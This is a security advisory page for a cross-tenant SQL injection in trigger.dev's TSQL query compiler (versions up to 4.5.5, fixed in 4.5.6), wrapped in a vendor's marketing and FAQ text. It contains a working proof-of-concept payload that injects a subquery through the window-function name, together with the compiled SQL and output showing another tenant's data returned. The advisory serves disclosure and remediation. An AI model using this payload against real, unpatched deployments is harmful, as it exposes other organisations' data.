GHSA-9Q4R-4842-93VW

GHSA-9Q4R-4842-93VW is a high-severity SQL injection vulnerability in trigger.dev (npm), affecting versions <= 4.5.5. It is fixed in 4.5.6.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name

A cross-tenant SQL injection in the TSQL query compiler lets any authenticated trigger.dev customer read every other tenant's analytics data. The customer-facing query endpoint POST /api/v1/query accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by internal-packages/tsql. The compiler parameterizes or escapes all user input and injects a per-tenant WHERE guard, except the window-function name, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. (SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')) that sits outside the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.

Details

Vulnerable sink, internal-packages/tsql/src/query/printer.ts:3073-3075, ClickHousePrinter.visitWindowFunction:

private visitWindowFunction(node: WindowFunction): string {
  const args = node.args ? node.args.map((a) => this.visit(a)) : [];
  const funcCall = `${node.name}(${args.join(", ")})`;   // <-- node.name concatenated RAW
  ...
}

node.name is emitted directly into the SQL with no allowlist check and no identifier escaping. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:

  • The normal function-call path visitCall (printer.ts:2951) throws Unknown function for any name outside the hardcoded TSQL_CLICKHOUSE_FUNCTIONS / TSQL_AGGREGATIONS allowlists, this gate is absent on the window-function path.
  • String constants are bound as ClickHouse query_params (parameterized).
  • Other identifiers go through escapeClickHouseIdentifier.
  • Table functions (url()/file()/remote()/s3()) are rejected.

A backtick-quoted identifier is accepted by the lexer and unescaped into node.name by visitIdentifier (the backticks are stripped and the inner text is unescaped), so arbitrary characters, spaces, (, ), ,, ', a full subquery, become the "function name" and are printed verbatim.

How it bypasses tenant isolation. Multi-tenancy is enforced only by enforcedWhereClause, which is attached to the outer table's WHERE (organization_id/project_id/environment_id taken from the caller's API key). An injected subquery has no such guard, so it reads across all tenants.

Reachability, apps/webapp/app/routes/api.v1.query.ts:

  • body.query is a raw z.string().
  • Auth is any environment-scoped credential, a private API key or a public JWT, i.e. any signed-up customer.
  • The route's authorization (detectTables(body.query) + everyResource) only authorizes the outer FROM table the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check.
  • executeQuery passes the caller's organizationId/projectId/environmentId into the enforced WHERE. The compiled sql string is then sent to ClickHouse (internal-packages/clickhouse/src/client/tsql.ts) with the injected subquery embedded in the SQL string itself (not in bound params), so ClickHouse executes it.

PoC

Reproduced in two stages: (1) the project's real compileTSQL emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.

1. Attacker TSQL input (sent as the query field to POST /api/v1/query with any valid API key / JWT, authenticated here as tenant1):

SELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs

2. Compiled ClickHouse SQL emitted by compileTSQL (verbatim):

SELECT count() OVER (),
       (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2
        WHERE organization_id = 'org_OTHER_TENANT') AS stolen,        -- INJECTED, RAW, UNGUARDED
       dummy(() OVER () AS x
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),
          equals(task_runs.project_id,      {tsql_val_1: String}),
          equals(task_runs.environment_id,  {tsql_val_2: String}))    -- guard ONLY on outer table
LIMIT 10000

The injected subquery against org_OTHER_TENANT is emitted raw (its org id is a literal, not a bound {tsql_val} param) and sits outside the tenant guard.

3. Live ClickHouse execution. A trigger_dev.task_runs_v2 table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to org_tenant1:

Seed:
  org_tenant1      -> payload 'tenant1-public-data'                         (attacker's own org)
  org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',
                      'VICTIM-SECRET-db_password_hunter2'                    (victim)

Baseline (legitimate tenant1 query, guard = org_tenant1):
  -> 'tenant1-public-data'                                                  (only own data)

Exploit (injected subquery, guard STILL org_tenant1):
  SELECT 1 AS keep,
         (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,
         count() OVER () AS w
  FROM trigger_dev.task_runs_v2 AS task_runs
  WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)
  -> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']

A caller scoped to org_tenant1 exfiltrated org_OTHER_TENANT's secret payloads, cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.

Reproduce the compiler step with a vitest in internal-packages/tsql (mirrors the repo's src/query/security.test.ts tenant setup): compile the attacker string above with enforcedWhereClause set to org_tenant1 and assert the output contains (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT'). Then run that SQL against a ClickHouse seeded as above.

Impact

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

GHSA-9Q4R-4842-93VW has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.6); upgrading removes the vulnerable code path.

Affected versions

trigger.dev (<= 4.5.5)

Security releases

trigger.dev → 4.5.6 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade trigger.dev to 4.5.6 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-9Q4R-4842-93VW? GHSA-9Q4R-4842-93VW is a high-severity SQL injection vulnerability in trigger.dev (npm), affecting versions <= 4.5.5. It is fixed in 4.5.6. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
  2. How severe is GHSA-9Q4R-4842-93VW? GHSA-9Q4R-4842-93VW has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of trigger.dev are affected by GHSA-9Q4R-4842-93VW? trigger.dev (npm) versions <= 4.5.5 is affected.
  4. Is there a fix for GHSA-9Q4R-4842-93VW? Yes. GHSA-9Q4R-4842-93VW is fixed in 4.5.6. Upgrade to this version or later.
  5. Is GHSA-9Q4R-4842-93VW exploitable, and should I be worried? Whether GHSA-9Q4R-4842-93VW is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-9Q4R-4842-93VW is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-9Q4R-4842-93VW? Upgrade trigger.dev to 4.5.6 or later.

Other vulnerabilities in trigger.dev

Stop the waste.
Protect your environment with Kodem.